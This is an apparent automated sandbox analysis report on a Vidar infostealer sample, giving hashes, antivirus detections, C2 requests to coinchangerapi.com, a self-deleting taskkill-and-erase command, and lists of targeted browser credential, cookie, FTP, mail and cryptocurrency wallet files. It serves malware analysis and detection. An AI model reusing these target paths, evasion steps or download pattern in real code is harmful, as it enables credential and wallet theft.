Exes_3224c92aac54798b7fe6cc2559025411_exe_2019-06-27_00_30.json

[*] MalFamily: "Vidar"

[*] MalScore: 10.0

[*] File Name: "Exes_3224c92aac54798b7fe6cc2559025411.exe"
[*] File Size: 568320
[*] File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
[*] SHA256: "a3945933c784ec73b9502daa210ec5db8033007839aadf2e57d080e4b5868caa"
[*] MD5: "3224c92aac54798b7fe6cc2559025411"
[*] SHA1: "f17e4ba42b54e16903531cc0dd07ca0aa52b2349"
[*] SHA512: "6d37eb112554fb5b0264b3c614178980a5659c5c561b6502dfae358936729640259a8be2b94e9802009f146a63f5a2b7660757cd28f56e06fc83e56ea7374427"
[*] CRC32: "DDC8AE0D"
[*] SSDEEP: "12288:hBfAl65wBqzEZ6wwRAClXuofm6uXFRxm18CX3/:nfAliW1ZuXXu0m6EA18C"

[*] Process Execution: [
    "Exes_3224c92aac54798b7fe6cc2559025411.exe",
    "cmd.exe",
    "taskkill.exe",
    "services.exe",
    "svchost.exe",
    "WmiPrvSE.exe",
    "WmiPrvSE.exe",
    "taskhost.exe",
    "sc.exe",
    "svchost.exe",
    "WerFault.exe",
    "wermgr.exe",
    "svchost.exe",
    "WMIADAP.exe"
]

[*] Signatures Detected: [
    {
        "Description": "At least one process apparently crashed during execution",
        "Details": []
    },
    {
        "Description": "A process attempted to delay the analysis task.",
        "Details": [
            {
                "Process": "WmiPrvSE.exe tried to sleep 420 seconds, actually delayed analysis time by 0 seconds"
            }
        ]
    },
    {
        "Description": "A process created a hidden window",
        "Details": [
            {
                "Process": "Exes_3224c92aac54798b7fe6cc2559025411.exe -> C:\\Windows\\System32\\cmd.exe"
            }
        ]
    },
    {
        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details": [
            {
                "post_no_referer": "HTTP traffic contains a POST request with no referer header"
            },
            {
                "post_no_useragent": "HTTP traffic contains a POST request with no user-agent header"
            },
            {
                "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/398"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/freebl3.dll"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/mozglue.dll"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/msvcp140.dll"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/nss3.dll"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/softokn3.dll"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/vcruntime140.dll"
            },
            {
                "suspicious_request": "http://ip-api.com/line/"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/"
            }
        ]
    },
    {
        "Description": "Performs some HTTP requests",
        "Details": [
            {
                "url": "http://coinchangerapi.com/398"
            },
            {
                "url": "http://coinchangerapi.com/freebl3.dll"
            },
            {
                "url": "http://coinchangerapi.com/mozglue.dll"
            },
            {
                "url": "http://coinchangerapi.com/msvcp140.dll"
            },
            {
                "url": "http://coinchangerapi.com/nss3.dll"
            },
            {
                "url": "http://coinchangerapi.com/softokn3.dll"
            },
            {
                "url": "http://coinchangerapi.com/vcruntime140.dll"
            },
            {
                "url": "http://ip-api.com/line/"
            },
            {
                "url": "http://coinchangerapi.com/"
            }
        ]
    },
    {
        "Description": "Deletes its original binary from disk",
        "Details": []
    },
    {
        "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
        "Details": [
            {
                "Spam": "services.exe (500) called API GetSystemTimeAsFileTime 5667092 times"
            }
        ]
    },
    {
        "Description": "Steals private information from local Internet browsers",
        "Details": [
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Cookies\\Google Chrome_Default.txt"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Cookies\\Edge_Cookies.txt"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Cookies\\IE_Cookies.txt"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"
            }
        ]
    },
    {
        "Description": "Collects information about installed applications",
        "Details": [
            {
                "Program": "Google Update Helper"
            },
            {
                "Program": "Microsoft Excel MUI  2013"
            },
            {
                "Program": "Microsoft Outlook MUI  2013"
            },
            {
            },
            {
                "Program": "Google Chrome"
            },
            {
                "Program": "Adobe Flash Player 29 NPAPI"
            },
            {
                "Program": "Adobe Flash Player 29 ActiveX"
            },
            {
                "Program": "Microsoft DCF MUI  2013"
            },
            {
                "Program": "Microsoft Access MUI  2013"
            },
            {
                "Program": "Microsoft Office Proofing Tools 2013 - English"
            },
            {
                "Program": "Adobe Acrobat Reader DC"
            },
            {
                "Program": "Microsoft Office Proofing Tools 2013 - Espa\\xef\\xbf\\xb1ol"
            },
            {
                "Program": "Microsoft Publisher MUI  2013"
            },
            {
                "Program": "Outils de v\\xef\\xbf\\xa9rification linguistique 2013 de Microsoft Office\\xef\\xbe\\xa0- Fran\\xef\\xbf\\xa7ais"
            },
            {
                "Program": "Microsoft Office Shared MUI  2013"
            },
            {
                "Program": "Microsoft Office OSM MUI  2013"
            },
            {
                "Program": "Microsoft InfoPath MUI  2013"
            },
            {
                "Program": "Microsoft Office Shared Setup Metadata MUI  2013"
            },
            {
                "Program": "Microsoft Word MUI  2013"
            },
            {
                "Program": "Microsoft Groove MUI  2013"
            },
            {
            },
            {
                "Program": "Microsoft Access Setup Metadata MUI  2013"
            },
            {
                "Program": "Microsoft Office OSM UX MUI  2013"
            },
            {
                "Program": "Java Auto Updater"
            },
            {
                "Program": "Microsoft PowerPoint MUI  2013"
            },
            {
                "Program": "Microsoft Office Professional Plus 2013"
            },
            {
                "Program": "Adobe Refresh Manager"
            },
            {
                "Program": "Microsoft Office Proofing  2013"
            },
            {
                "Program": "Microsoft Lync MUI  2013"
            },
            {
            },
            {
                "Program": "Microsoft OneNote MUI  2013"
            }
        ]
    },
    {
        "Description": "File has been identified by 36 Antiviruses on VirusTotal as malicious",
        "Details": [
            {
                "MicroWorld-eScan": "Gen:Variant.Zusy.294934"
            },
            {
                "ALYac": "Gen:Variant.Zusy.294934"
            },
            {
                "Malwarebytes": "Spyware.Vidar"
            },
            {
                "SUPERAntiSpyware": "Trojan.Agent/Gen-Dropper"
            },
            {
                "Cybereason": "malicious.aac547"
            },
            {
                "ESET-NOD32": "a variant of Win32/PSW.Agent.OGR"
            },
            {
                "APEX": "Malicious"
            },
            {
                "Paloalto": "generic.ml"
            },
            {
                "Kaspersky": "HEUR:Trojan.Win32.Generic"
            },
            {
                "BitDefender": "Gen:Variant.Zusy.294934"
            },
            {
                "Avast": "Win32:PWSX-gen [Trj]"
            },
            {
                "Rising": "Malware.Vidar!8.10677/N3#100% (RDM+:cmRtazpX4x1hkS0kPOHmQRZv95XH)"
            },
            {
                "Ad-Aware": "Gen:Variant.Zusy.294934"
            },
            {
                "Emsisoft": "Gen:Variant.Zusy.294934 (B)"
            },
            {
                "F-Secure": "Heuristic.HEUR/AGEN.1039771"
            },
            {
                "Invincea": "heuristic"
            },
            {
                "McAfee-GW-Edition": "BehavesLike.Win32.Generic.hh"
            },
            {
                "Trapmine": "malicious.moderate.ml.score"
            },
            {
                "FireEye": "Generic.mg.3224c92aac54798b"
            },
            {
                "Avira": "HEUR/AGEN.1039771"
            },
            {
                "MAX": "malware (ai score=86)"
            },
            {
                "Microsoft": "Trojan:Win32/Wacatac.B!ml"
            },
            {
                "Endgame": "malicious (high confidence)"
            },
            {
                "ZoneAlarm": "HEUR:Trojan.Win32.Generic"
            },
            {
                "GData": "Gen:Variant.Zusy.294934"
            },
            {
                "AhnLab-V3": "Malware/Win32.RL_Generic.R264426"
            },
            {
                "Acronis": "suspicious"
            },
            {
                "McAfee": "GenericRXHI-GE!3224C92AAC54"
            },
            {
                "VBA32": "BScope.TrojanPSW.Tepfer"
            },
            {
                "Cylance": "Unsafe"
            },
            {
                "SentinelOne": "DFI - Suspicious PE"
            },
            {
                "Fortinet": "W32/GenKryptik.DDSI!tr.pws"
            },
            {
                "AVG": "Win32:PWSX-gen [Trj]"
            },
            {
                "Panda": "Trj/Genetic.gen"
            },
            {
                "CrowdStrike": "win/malicious_confidence_100% (D)"
            },
            {
                "MaxSecure": "Trojan.Malware.300983.susgen"
            }
        ]
    },
    {
        "Description": "Checks the CPU name from registry, possibly for anti-virtualization",
        "Details": []
    },
    {
        "Description": "Checks the system manufacturer, likely for anti-virtualization",
        "Details": []
    },
    {
        "Description": "Attempts to access Bitcoin/ALTCoin wallets",
        "Details": [
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Bitcoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Bitcoin\\??"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Bitcoin\\*.*"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Bitcoin\\\\xe1\\x93\\x9d\\xe7\\x9d\\xbf"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Electrum\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Electrum\\wallets\\default_wallet"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Electrum\\wallets\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Electrum\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Litecoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Litecoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Litecoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Litecoin\\*.*"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\NameCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Namecoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\NameCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Namecoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Terracoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\TerraCoin\\*.*"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\TerraCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Terracoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\PrimeCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Primecoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\PrimeCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Primecoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Freicoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\FreiCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Freicoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\FreiCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\devcoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\devcoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\DevCoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\DevCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Franko\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Franko\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Franko\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Franko\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Megacoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\MegaCoin\\*.*"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\MegaCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Megacoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\InfiniteCoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\InfiniteCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Infinitecoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Infinitecoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Ixcoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\IxCoin\\*.*"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\IxCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Ixcoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Anoncoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Anoncoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Anoncoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Anoncoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\BBQCoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\BBQCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\BBQCoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\BBQCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\digitalcoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\digitalcoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\DigitalCoin\\*.*"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\DigitalCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Mincoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Mincoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\MinCoin\\*.*"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\MinCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\GoldCoin (GLD)\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\GoldCoin (GLD)\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\YACoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\YACoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\YACoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\YACoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Florincoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\FlorinCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Florincoin\\"
            },
            {
                "file": "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\FlorinCoin\\*.*"
            }
        ]
    },
    {
        "Description": "Harvests credentials from local FTP client softwares",
        "Details": [
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\recentservers.xml"
            }
        ]
    },
    {
        "Description": "Harvests information related to installed instant messenger clients",
        "Details": [
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\.purple\\accounts.xml"
            }
        ]
    },
    {
        "Description": "Harvests information related to installed mail clients",
        "Details": [
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000007"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000006"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000005"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000004"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000009"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000008"
            }
        ]
    },
    {
        "Description": "Collects information to fingerprint the system",
        "Details": []
    },
    {
        "Description": "Created network traffic indicative of malicious activity",
        "Details": [
            {
                "signature": "ET TROJAN Vidar/Arkei Stealer Client Data Upload"
            }
        ]
    }
]

[*] Started Service: [
    "VaultSvc",
    "WerSvc",
    "W32Time"
]

[*] Executed Commands: [
    "C:\\Windows\\System32\\cmd.exe /c taskkill /im Exes_3224c92aac54798b7fe6cc2559025411.exe /f & erase C:\\Users\\user\\AppData\\Local\\Temp\\Exes_3224c92aac54798b7fe6cc2559025411.exe & exit",
    "C:\\Windows\\system32\\lsass.exe",
    "C:\\Windows\\system32\\svchost.exe -k netsvcs",
    "taskhost.exe $(Arg0)",
    "C:\\Windows\\system32\\sc.exe start w32time task_started",
    "C:\\Windows\\System32\\svchost.exe -k WerSvcGroup",
    "C:\\Windows\\system32\\svchost.exe -k LocalService",
    "taskkill  /im Exes_3224c92aac54798b7fe6cc2559025411.exe /f",
    "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding",
    "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding",
    "C:\\Windows\\system32\\WerFault.exe -u -p 1364 -s 288",
    "\"C:\\Windows\\system32\\wermgr.exe\" \"-queuereporting_svc\" \"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_0bad4b5f\""
]

[*] Mutexes: [
    "00000000-0000-0000-0000-000000000000{3d3783a0-703a-11de-8c7a-806e6f6e6963}",
    "Local\\WERReportingForProcess1364",
    "Global\\\\xe5\\x88\\x90\\xc2\\xab",
    "Global\\\\xe1\\x9f\\xa0\\xc7\\x80",
    "WERUI_BEX64-e0bfc78dc22baf57413d9e3a2494cb68424d695b",
    "Global\\ADAP_WMI_ENTRY",
    "Global\\RefreshRA_Mutex",
    "Global\\RefreshRA_Mutex_Lib",
    "Global\\RefreshRA_Mutex_Flag"
]

[*] Modified Files: [
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\passwords.txt",
    "C:\\ProgramData\\freebl3.dll",
    "C:\\ProgramData\\mozglue.dll",
    "C:\\ProgramData\\msvcp140.dll",
    "C:\\ProgramData\\nss3.dll",
    "C:\\ProgramData\\softokn3.dll",
    "C:\\ProgramData\\vcruntime140.dll",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\ld",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\historych",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\History\\Google Chrome_Default.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Downloads\\Google Chrome_Default.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\c",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Cookies\\Google Chrome_Default.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\wd",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Autofill\\Google Chrome_Default.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\CC\\Google Chrome_Default.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Soft\\Authy\\\\xef\\x97\\xb8\\xce\\x86ata",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Cookies\\IE_Cookies.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Cookies\\Edge_Cookies.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\cookie_list.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\outlook.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\information.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Files\\Default.zip",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Bitcoin\\\\xe1\\x93\\x9d\\xe7\\x9d\\xbf",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Ethereum\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Electrum\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\ElectrumLTC\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Exodus\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\ElectronCash\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\MultiDoge\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Zcash\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\DashCore\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Litecoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Anoncoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\BBQCoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\DevCoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\DigitalCoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\FlorinCoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Franko\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\FreiCoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\GoldCoinGLD\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\InfiniteCoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\IOCoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\IxCoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\MegaCoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\MinCoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\NameCoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\PrimeCoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\TerraCoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\YACoin\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\JAXX\\",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\US_00000000-0000-0000-0000-0000000000009743353171.zip",
    "C:\\Windows\\sysnative\\LogFiles\\Scm\\4963ad21-c4a5-42a5-b9bd-e441d57204fe",
    "C:\\Windows\\sysnative\\LogFiles\\Scm\\7bbc503c-5977-4798-a4ae-61483a7e030d",
    "C:\\Windows\\sysnative\\LogFiles\\Scm\\84c56e46-6d12-44fa-a2a2-9eef7a5b2e05",
    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
    "\\??\\PIPE\\lsarpc",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAEFF.tmp.appcompat.txt",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB8E3.tmp.WERInternalMetadata.xml",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB942.tmp.hdmp",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERC326.tmp.mdmp",
    "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_0bad4b5f\\WERAEFF.tmp.appcompat.txt",
    "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_0bad4b5f\\WERB8E3.tmp.WERInternalMetadata.xml",
    "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_0bad4b5f\\WERB942.tmp.hdmp",
    "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_0bad4b5f\\WERC326.tmp.mdmp",
    "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_0bad4b5f\\Report.wer",
    "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_0bad4b5f\\Report.wer.tmp",
    "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl_new.h",
    "\\??\\WMIDataDevice"
]

[*] Deleted Files: [
    "C:\\ProgramData\\freebl3.dll",
    "C:\\ProgramData\\mozglue.dll",
    "C:\\ProgramData\\msvcp140.dll",
    "C:\\ProgramData\\nss3.dll",
    "C:\\ProgramData\\softokn3.dll",
    "C:\\ProgramData\\vcruntime140.dll",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Autofill\\Google Chrome_Default.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Autofill",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\CC\\Google Chrome_Default.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\CC",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Cookies\\Edge_Cookies.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Cookies\\Google Chrome_Default.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Cookies\\IE_Cookies.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Cookies",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\cookie_list.txt",
